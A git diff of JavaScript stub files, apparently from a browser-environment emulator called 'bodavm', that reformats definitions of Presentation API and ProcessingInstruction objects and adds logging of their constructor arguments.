undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PresentationAvailability.js b/env_xbb_lastest_jsdom/env/PresentationAvailability.js index a0510cc7..a1bb28d7 100644 --- a/env_xbb_lastest_jsdom/env/PresentationAvailability.js +++ b/env_xbb_lastest_jsdom/env/PresentationAvailability.js @@ -1,7 +1,37 @@ -// PresentationAvailability对象 -bodavm.memory.globalobj['PresentationAvailability'] = function PresentationAvailability(){if (!(this instanceof PresentationAvailability)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationAvailability'], "PresentationAvailability"); -bodavm.memory.globalobj['PresentationAvailability'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PresentationAvailability'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PresentationAvailability', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "value_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationAvailability', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "onchange_set", arguments)}},'prototype'); +// PresentationAvailability对象 + +bodavm.memory.globalobj['PresentationAvailability'] = function PresentationAvailability() { + console.log_copy('PresentationAvailability 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationAvailability)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationAvailability'], "PresentationAvailability"); +bodavm.memory.globalobj['PresentationAvailability'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PresentationAvailability'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PresentationAvailability', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationAvailability', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "onchange_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PresentationConnection.js b/env_xbb_lastest_jsdom/env/PresentationConnection.js index ffcdc068..a8820b94 100644 --- a/env_xbb_lastest_jsdom/env/PresentationConnection.js +++ b/env_xbb_lastest_jsdom/env/PresentationConnection.js @@ -1,16 +1,117 @@ -// PresentationConnection对象 -bodavm.memory.globalobj['PresentationConnection'] = function PresentationConnection(){if (!(this instanceof PresentationConnection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnection'], "PresentationConnection"); -bodavm.memory.globalobj['PresentationConnection'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PresentationConnection'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PresentationConnection', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "onterminate", {configurable:true, enumerable:true, get:function onterminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onterminate_get", arguments)}, set:function onterminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onterminate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "binaryType", {configurable:true, enumerable:true, get:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "binaryType_get", arguments)}, set:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "binaryType_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "send", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "terminate", {configurable:true, enumerable:true, writable:true, value:function terminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "terminate", arguments)}},'prototype'); +// PresentationConnection对象 + +bodavm.memory.globalobj['PresentationConnection'] = function PresentationConnection() { + console.log_copy('PresentationConnection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationConnection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnection'], "PresentationConnection"); +bodavm.memory.globalobj['PresentationConnection'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PresentationConnection'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PresentationConnection', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "onterminate", { + configurable: true, + enumerable: true, + get: function onterminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onterminate_get", arguments); + }, + set: function onterminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onterminate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "binaryType", { + configurable: true, + enumerable: true, + get: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "binaryType_get", arguments); + }, + set: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "binaryType_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "send", { + configurable: true, + enumerable: true, + writable: true, + value: function send() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "send", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "terminate", { + configurable: true, + enumerable: true, + writable: true, + value: function terminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "terminate", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PresentationConnectionAvailableEvent.js b/env_xbb_lastest_jsdom/env/PresentationConnectionAvailableEvent.js index 9a5ee30e..41ac0032 100644 --- a/env_xbb_lastest_jsdom/env/PresentationConnectionAvailableEvent.js +++ b/env_xbb_lastest_jsdom/env/PresentationConnectionAvailableEvent.js @@ -1,6 +1,27 @@ -// PresentationConnectionAvailableEvent对象 -bodavm.memory.globalobj['PresentationConnectionAvailableEvent'] = function PresentationConnectionAvailableEvent(){if (!(this instanceof PresentationConnectionAvailableEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationConnectionAvailableEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionAvailableEvent'], "PresentationConnectionAvailableEvent"); -bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PresentationConnectionAvailableEvent', "connection", {configurable:true, enumerable:true, get:function connection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].prototype, "PresentationConnectionAvailableEvent", "connection_get", arguments)}, set:undefined},'prototype'); +// PresentationConnectionAvailableEvent对象 + +bodavm.memory.globalobj['PresentationConnectionAvailableEvent'] = function PresentationConnectionAvailableEvent() { + console.log_copy('PresentationConnectionAvailableEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationConnectionAvailableEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationConnectionAvailableEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionAvailableEvent'], "PresentationConnectionAvailableEvent"); +bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PresentationConnectionAvailableEvent', "connection", { + configurable: true, + enumerable: true, + get: function connection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].prototype, "PresentationConnectionAvailableEvent", "connection_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PresentationConnectionCloseEvent.js b/env_xbb_lastest_jsdom/env/PresentationConnectionCloseEvent.js index 60a9e4d3..2e793a86 100644 --- a/env_xbb_lastest_jsdom/env/PresentationConnectionCloseEvent.js +++ b/env_xbb_lastest_jsdom/env/PresentationConnectionCloseEvent.js @@ -1,7 +1,35 @@ -// PresentationConnectionCloseEvent对象 -bodavm.memory.globalobj['PresentationConnectionCloseEvent'] = function PresentationConnectionCloseEvent(){if (!(this instanceof PresentationConnectionCloseEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationConnectionCloseEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionCloseEvent'], "PresentationConnectionCloseEvent"); -bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PresentationConnectionCloseEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PresentationConnectionCloseEvent', "reason", {configurable:true, enumerable:true, get:function reason (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype, "PresentationConnectionCloseEvent", "reason_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnectionCloseEvent', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype, "PresentationConnectionCloseEvent", "message_get", arguments)}, set:undefined},'prototype'); +// PresentationConnectionCloseEvent对象 + +bodavm.memory.globalobj['PresentationConnectionCloseEvent'] = function PresentationConnectionCloseEvent() { + console.log_copy('PresentationConnectionCloseEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationConnectionCloseEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationConnectionCloseEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionCloseEvent'], "PresentationConnectionCloseEvent"); +bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PresentationConnectionCloseEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PresentationConnectionCloseEvent', "reason", { + configurable: true, + enumerable: true, + get: function reason() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype, "PresentationConnectionCloseEvent", "reason_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnectionCloseEvent', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionCloseEvent'].prototype, "PresentationConnectionCloseEvent", "message_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PresentationConnectionList.js b/env_xbb_lastest_jsdom/env/PresentationConnectionList.js index 59009ac3..b21412ce 100644 --- a/env_xbb_lastest_jsdom/env/PresentationConnectionList.js +++ b/env_xbb_lastest_jsdom/env/PresentationConnectionList.js @@ -1,7 +1,37 @@ -// PresentationConnectionList对象 -bodavm.memory.globalobj['PresentationConnectionList'] = function PresentationConnectionList(){if (!(this instanceof PresentationConnectionList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionList'], "PresentationConnectionList"); -bodavm.memory.globalobj['PresentationConnectionList'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PresentationConnectionList'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PresentationConnectionList', "connections", {configurable:true, enumerable:true, get:function connections (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "connections_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnectionList', "onconnectionavailable", {configurable:true, enumerable:true, get:function onconnectionavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "onconnectionavailable_get", arguments)}, set:function onconnectionavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "onconnectionavailable_set", arguments)}},'prototype'); +// PresentationConnectionList对象 + +bodavm.memory.globalobj['PresentationConnectionList'] = function PresentationConnectionList() { + console.log_copy('PresentationConnectionList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationConnectionList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionList'], "PresentationConnectionList"); +bodavm.memory.globalobj['PresentationConnectionList'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PresentationConnectionList'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PresentationConnectionList', "connections", { + configurable: true, + enumerable: true, + get: function connections() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "connections_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnectionList', "onconnectionavailable", { + configurable: true, + enumerable: true, + get: function onconnectionavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "onconnectionavailable_get", arguments); + }, + set: function onconnectionavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "onconnectionavailable_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PresentationReceiver.js b/env_xbb_lastest_jsdom/env/PresentationReceiver.js index 8cba668d..778dfb8c 100644 --- a/env_xbb_lastest_jsdom/env/PresentationReceiver.js +++ b/env_xbb_lastest_jsdom/env/PresentationReceiver.js @@ -1,4 +1,25 @@ -// PresentationReceiver对象 -bodavm.memory.globalobj['PresentationReceiver'] = function PresentationReceiver(){if (!(this instanceof PresentationReceiver)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationReceiver'], "PresentationReceiver"); -bodavm.toolsFunc.defineProperty('PresentationReceiver', "connectionList", {configurable:true, enumerable:true, get:function connectionList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationReceiver'].prototype, "PresentationReceiver", "connectionList_get", arguments)}, set:undefined},'prototype'); +// PresentationReceiver对象 + +bodavm.memory.globalobj['PresentationReceiver'] = function PresentationReceiver() { + console.log_copy('PresentationReceiver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationReceiver)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationReceiver'], "PresentationReceiver"); +bodavm.toolsFunc.defineProperty('PresentationReceiver', "connectionList", { + configurable: true, + enumerable: true, + get: function connectionList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationReceiver'].prototype, "PresentationReceiver", "connectionList_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PresentationRequest.js b/env_xbb_lastest_jsdom/env/PresentationRequest.js index b73f0599..103f9929 100644 --- a/env_xbb_lastest_jsdom/env/PresentationRequest.js +++ b/env_xbb_lastest_jsdom/env/PresentationRequest.js @@ -1,9 +1,53 @@ -// PresentationRequest对象 -bodavm.memory.globalobj['PresentationRequest'] = function PresentationRequest(){if (!(this instanceof PresentationRequest)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationRequest': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationRequest'], "PresentationRequest"); -bodavm.memory.globalobj['PresentationRequest'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PresentationRequest'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PresentationRequest', "onconnectionavailable", {configurable:true, enumerable:true, get:function onconnectionavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "onconnectionavailable_get", arguments)}, set:function onconnectionavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "onconnectionavailable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationRequest', "getAvailability", {configurable:true, enumerable:true, writable:true, value:function getAvailability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "getAvailability", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationRequest', "reconnect", {configurable:true, enumerable:true, writable:true, value:function reconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "reconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationRequest', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "start", arguments)}},'prototype'); +// PresentationRequest对象 + +bodavm.memory.globalobj['PresentationRequest'] = function PresentationRequest() { + console.log_copy('PresentationRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationRequest)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationRequest': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationRequest'], "PresentationRequest"); +bodavm.memory.globalobj['PresentationRequest'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PresentationRequest'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PresentationRequest', "onconnectionavailable", { + configurable: true, + enumerable: true, + get: function onconnectionavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "onconnectionavailable_get", arguments); + }, + set: function onconnectionavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "onconnectionavailable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationRequest', "getAvailability", { + configurable: true, + enumerable: true, + writable: true, + value: function getAvailability() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "getAvailability", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationRequest', "reconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function reconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "reconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationRequest', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "start", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ProcessingInstruction.js b/env_xbb_lastest_jsdom/env/ProcessingInstruction.js index 255cc1d7..2b896455 100644 --- a/env_xbb_lastest_jsdom/env/ProcessingInstruction.js +++ b/env_xbb_lastest_jsdom/env/ProcessingInstruction.js @@ -1,7 +1,35 @@ -// ProcessingInstruction对象 -bodavm.memory.globalobj['ProcessingInstruction'] = function ProcessingInstruction(){if (!(this instanceof ProcessingInstruction)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ProcessingInstruction'], "ProcessingInstruction"); -bodavm.memory.globalobj['ProcessingInstruction'].prototype.__proto__=bodavm.memory.globalobj['CharacterData'].prototype; -bodavm.memory.globalobj['ProcessingInstruction'].__proto__=bodavm.memory.globalobj['CharacterData']; -bodavm.toolsFunc.defineProperty('ProcessingInstruction', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProcessingInstruction'].prototype, "ProcessingInstruction", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ProcessingInstruction', "sheet", {configurable:true, enumerable:true, get:function sheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProcessingInstruction'].prototype, "ProcessingInstruction", "sheet_get", arguments)}, set:undefined},'prototype'); +// ProcessingInstruction对象 + +bodavm.memory.globalobj['ProcessingInstruction'] = function ProcessingInstruction() { + console.log_copy('ProcessingInstruction 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ProcessingInstruction)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ProcessingInstruction'], "ProcessingInstruction"); +bodavm.memory.globalobj['ProcessingInstruction'].prototype.__proto__ = bodavm.memory.globalobj['CharacterData'].prototype; +bodavm.memory.globalobj['ProcessingInstruction'].__proto__ = bodavm.memory.globalobj['CharacterData']; +bodavm.toolsFunc.defineProperty('ProcessingInstruction', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProcessingInstruction'].prototype, "ProcessingInstruction", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ProcessingInstruction', "sheet", { + configurable: true, + enumerable: true, + get: function sheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProcessingInstruction'].prototype, "ProcessingInstruction", "sheet_get", arguments); + }, + set: undefined +}, 'prototype'); 